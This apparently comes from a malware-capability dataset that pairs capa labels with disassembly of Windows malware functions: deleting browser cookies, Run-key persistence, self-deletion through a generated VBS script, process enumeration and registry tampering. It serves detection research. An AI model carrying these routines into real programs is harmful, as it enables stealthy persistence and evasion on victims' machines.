joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a5ca
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004020b5
lea ecx, [ebp - 0x18]
call fcn.004020b5
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402064
push eax
push 0x45fc74
call fcn.0043919a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004075c4
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fb1
lea ecx, [ebp - 0x48]
call fcn.00401fa7
lea ecx, [ebp - 0x60]
call fcn.00401fa7
lea eax, [ebp - 0x1b8]
push eax
push 0x45fc34
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.0040755a
pop ecx
mov ecx, eax
call fcn.00401f75
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00401fa7
cmp esi, 0xffffffff
jne 0x40a67a
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402064
call fcn.0040aa8c
add esp, 0x18
jmp 0x40a774
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40a756
xor ebx, ebx
test byte [ebp - 0x1b8], 0x10
je 0x40a740
lea ecx, [ebp - 0x18c]
cmp byte [ecx], 0x2e
jne 0x40a6b6
movzx eax, byte [ecx + 1]
test al, al
je 0x40a740
lea edx, [ebp - 0x18c]
mov ecx, ebx
movzx eax, byte [edx + ecx]
mov edx, 0x45fd94
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x18c]
jne 0x40a6dc
inc ecx
cmp ecx, 3
jne 0x40a6be
mov eax, ebx
jmp 0x40a6e1
sbb eax, eax
or eax, 1
test eax, eax
je 0x40a740
lea eax, [ebp - 0x18c]
push str.cookies.sqlite
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0040755a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.0040530d
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fb1
lea ecx, [ebp - 0x48]
call fcn.00401fa7
lea ecx, [ebp - 0x78]
call fcn.00401fa7
lea ecx, [ebp - 0x30]
call fcn.00401f75
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a797
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x40a78e
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40a692
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402064
call fcn.0040aa8c
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401fa7
lea ecx, [ebp - 0x30]
call fcn.00401fa7
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x40a776
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x40a668
Function at 0x40a7a6
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004020b5
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, closesocket
lea ecx, [ebp - 0x30]
xor bl, bl
call fcn.004102d2
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00401fb1
lea ecx, [ebp - 0x30]
call fcn.00401fa7
mov edx, 0x45f6ac
lea ecx, [ebp - 0x18]
call fcn.00405a22
test al, al
je 0x40a813
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402064
call fcn.0040aa8c
mov bl, 1
jmp 0x40a8ad
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401f75
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a7f8
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402064
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.00416c32
mov ecx, eax
call fcn.00401ecb
mov ecx, eax
call fcn.004170ac
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00401ed0
lea ecx, [ebp - 0x30]
call fcn.00401fa7
test esi, esi
je 0x40a88c
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40a802
push ecx
push ecx
call fcn.0040aab0
test eax, eax
je 0x40a8b0
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402064
call fcn.0040aa8c
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fa7
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40aa16
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x46bafc], cl
push edi
mov dword [0x46baf8], eax
test cl, cl
je 0x40aa73
mov edi, 0x45ff08
mov dword [ebp - 4], esi
mov ebx, 0x46c518
push edi
mov ecx, ebx
call fcn.00401f75
mov edx, eax
call fcn.0041022b
pop ecx
test al, al
je 0x40aa73
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00401f75
mov edx, eax
call fcn.00410275
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x40aa73
xor al, al
jmp 0x40aa85
push esi
push esi
push esi
push 0x40a8c0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40ac19
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp byte [0x46bb06], 1
push ebx
mov bh, byte [0x46bb04]
mov bl, byte [0x46baff]
push esi
push edi
mov edi, 0x45f454
jne 0x40ac7b
push 1
sub esp, 0x18
lea ecx, [ebp - 0x1c]
mov esi, esp
mov edx, edi
push edi
push 0x46c500
call fcn.00409e6b
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403086
pop ecx
push dword [ebp + 0xc]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, closesocket
call fcn.0041053c
add esp, 0x20
lea ecx, [ebp - 0x1c]
call fcn.00401ed0
cmp bl, 1
jne 0x40acbf
push 1
sub esp, 0x18
lea ecx, [ebp - 0x1c]
mov esi, esp
mov edx, edi
push edi
push 0x46c500
call fcn.00409e6b
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403086
pop ecx
push dword [ebp + 0xc]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, closesocket
call fcn.0041053c
add esp, 0x20
lea ecx, [ebp - 0x1c]
call fcn.00401ed0
cmp bh, 1
jne 0x40ad03
push 1
sub esp, 0x18
lea ecx, [ebp - 0x1c]
mov esi, esp
mov edx, edi
push edi
push 0x46c500
call fcn.00409e6b
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403086
pop ecx
push dword [ebp + 0xc]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, closesocket
call fcn.0041053c
add esp, 0x20
lea ecx, [ebp - 0x1c]
call fcn.00401ed0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b80b
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.0040fb4b
mov esi, 0x46c560
mov ecx, esi
call fcn.00402469
push eax
mov ecx, esi
call fcn.00401f75
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x46c518
call fcn.00401f75
mov edx, eax
call fcn.00410420
add esp, 0x14
xor edi, edi
test al, al
jne 0x40b86b
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.004169eb
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00416c32
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00403086
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401ed0
lea ecx, [ebp - 0x48]
call fcn.00401fa7
lea eax, [ebp - 0x78]
push eax
push 0x45f958
push 0x460018
call fcn.0043918f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040425f
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403086
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00404409
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00401ed0
lea ecx, [ebp - 0x30]
call fcn.00401ed0
lea ecx, [ebp - 0x18]
call fcn.00401f4d
push 0x4600bc
push str._____0
lea ecx, [ebp - 0xc0]
call fcn.0040425f
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0040425f
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00403086
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00403010
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403086
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.004032f1
lea ecx, [ebp - 0x48]
call fcn.00401ed0
lea ecx, [ebp - 0x30]
call fcn.00401ed0
lea ecx, [ebp - 0x90]
call fcn.00401ed0
lea ecx, [ebp - 0xa8]
call fcn.00401ed0
lea ecx, [ebp - 0xc0]
call fcn.00401ed0
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.0040766e
push edi
lea ecx, [ebp - 0x60]
call fcn.00401ecb
push eax
lea ecx, [ebp - 0x18]
call fcn.00402469
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401ecb
mov edx, esi
mov ecx, eax
call fcn.0041729f
pop ecx
pop ecx
test al, al
je 0x40b9d6
push edi
mov eax, 0x45f714
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00401ecb
push eax
push 0x45f6d4
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40b9d6
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401ed0
lea ecx, [ebp - 0x60]
call fcn.00401ed0
lea ecx, [ebp - 0x78]
call fcn.00401ed0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40d5b1
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x380
push esi
push edi
mov edi, ecx
call fcn.004020b5
call fcn.00416f6c
push 0
push 2
mov byte [0x46beb4], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40d78f
lea eax, [ebp - 0x380]
mov dword [ebp - 0x380], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x40d772
lea eax, [ebp - 0x35c]
push eax
lea ecx, [ebp - 0x18]
call fcn.0040425f
mov ecx, dword [ebp - 0x378]
push 0x460630
call fcn.00416f9a
movzx edx, al
lea ecx, [ebp - 0x150]
call fcn.00416b7e
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x138]
push eax
push 0x460634
call fcn.00416b7e
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x120]
push eax
push 0x460634
call fcn.00416fd0
mov edx, eax
lea ecx, [ebp - 0x108]
call fcn.00416cf4
push eax
push 0x460634
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0xf0]
call fcn.00416cf4
push eax
mov edx, edi
lea ecx, [ebp - 0xd8]
call fcn.004074f2
pop ecx
mov edx, eax
lea ecx, [ebp - 0xc0]
call fcn.0040530d
pop ecx
mov edx, eax
lea ecx, [ebp - 0xa8]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.0040530d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040530d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402efd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0040530d
pop ecx
push eax
mov ecx, edi
call fcn.00401fb1
lea ecx, [ebp - 0x30]
call fcn.00401fa7
lea ecx, [ebp - 0x48]
call fcn.00401fa7
lea ecx, [ebp - 0x60]
call fcn.00401fa7
lea ecx, [ebp - 0x78]
call fcn.00401fa7
lea ecx, [ebp - 0x90]
call fcn.00401fa7
lea ecx, [ebp - 0xa8]
call fcn.00401fa7
lea ecx, [ebp - 0xc0]
call fcn.00401fa7
lea ecx, [ebp - 0xd8]
call fcn.00401fa7
lea ecx, [ebp - 0xf0]
call fcn.00401fa7
lea ecx, [ebp - 0x108]
call fcn.00401fa7
lea ecx, [ebp - 0x120]
call fcn.00401ed0
lea ecx, [ebp - 0x138]
call fcn.00401fa7
lea ecx, [ebp - 0x150]
call fcn.00401fa7
lea ecx, [ebp - 0x18]
call fcn.00401ed0
lea eax, [ebp - 0x380]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40d5fe
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40d797
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x58]
push ebx
push eax
call fcn.00431810
xor eax, eax
mov dword [ebp - 0x58], esi
lea edi, [ebp - 0x10]
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
push 0x460638
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40e5c7
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x40e6fd
cmp byte [edi + 0x3d], bl
je 0x40e6fd
call fcn.00402ef9
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], esi
push eax
call fcn.0040baf8
pop ecx
pop ecx
test al, al
je 0x40e61c
xor al, al
jmp 0x40e6ff
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.00405218
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x28]
call fcn.004024ab
mov ecx, eax
call fcn.00403449
lea ecx, [esp + 0x24]
mov esi, eax
call fcn.00402469
add esi, eax
lea ecx, [esp + 0x24]
push esi
lea eax, [esp + 0x14]
push eax
call fcn.004024ab
mov ecx, eax
call fcn.00403449
mov ecx, dword [edi + 0x38]
push eax
lea eax, [edi + 0x40]
push eax
call fcn.0040beaa
sub eax, ebx
je 0x40e684
sub eax, 1
je 0x40e687
dec eax
sub eax, 1
jne 0x40e6f0
inc eax
jmp 0x40e6ee
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
call fcn.004024ab
mov ecx, eax
call fcn.00403449
mov esi, dword [esp + 0x14]
sub esi, eax
je 0x40e6cc
push dword [edi + 0x4c]
lea eax, [esp + 0x20]
push esi
push 1
push eax
lea ecx, [esp + 0x30]
call fcn.004024ab
mov ecx, eax
call fcn.00403449
push eax
call fcn.00439d43
add esp, 0x10
cmp esi, eax
jne 0x40e6ec
cmp byte [edi + 0x3d], bl
je 0x40e6ea
test esi, esi
jne 0x40e628
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.00402a72
jmp 0x40e628
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x20]
call fcn.00401fa7
mov al, bl
jmp 0x40e6ff
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40fb4b
Capabilities:
Terminate process

Disassembly:
push ebx
push 0
push dword [0x46bd50]
mov byte [0x46bd4e], 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xffffffffffffffff
push dword [0x46bd50]
test eax, eax
setne bl
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov al, bl
pop ebx
ret
Function at 0x41022b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41026e
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
jmp 0x410270
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x410275
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4102cc
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x4102ce
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x4102d2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
push 0
push dword [ebp + 8]
mov esi, ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41032b
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x408]
push eax
jmp 0x410330
push 0x45f6ac
mov ecx, esi
call fcn.00402064
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41033e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
xor edi, edi
mov esi, ecx
push edi
push 0x465ac0
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41039b
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x808]
push eax
push edi
push edi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x808]
push eax
jmp 0x4103a0
push 0x45f714
mov ecx, esi
call fcn.0040425f
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4103af
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov edi, ecx
push eax
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push ecx
push dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
push ebx
mov esi, 0x45f6ac
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41040f
cmp dword [ebp - 4], eax
jbe 0x41040f
push dword [ebp - 4]
call fcn.00438e06
push dword [ebp - 4]
mov esi, eax
push 0
push esi
call fcn.00431810
add esp, 0x10
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
mov ecx, edi
call fcn.0040425f
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x410420
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 8]
push esi
push eax
push 0x20019
xor esi, esi
push esi
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x410490
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x410490
push dword [ebp + 0x18]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0x14]
call fcn.00405a2f
push dword [ebp + 0x10]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0xc]
call fcn.00405ab6
mov al, 1
jmp 0x410492
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x410497
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4104e7
push esi
lea ecx, [ebp + 0xc]
call fcn.00402469
push eax
lea ecx, [ebp + 0xc]
call fcn.00401f75
push eax
push dword [ebp + 0x24]
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x4104e9
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.00401fa7
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4104f8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x410536
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x410538
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x41053c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x41058f
push esi
lea ecx, [ebp + 0xc]
call fcn.00402469
lea ecx, [ebp + 0xc]
lea eax, [eax*2 + 2]
push eax
call fcn.00401ecb
push eax
push dword [ebp + 0x24]
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x410591
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.00401ed0
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4105a0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x4105e2
push esi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x4105e4
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x4105e8
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x410626
push esi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x410628
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x41062c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x41066a
push esi
push 8
lea eax, [ebp + 0xc]
push eax
push 0xb
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x41066c
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x41074c
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 2
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x410768
xor al, al
jmp 0x41077a
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
neg eax
sbb al, al
inc al
mov esp, ebp
pop ebp
ret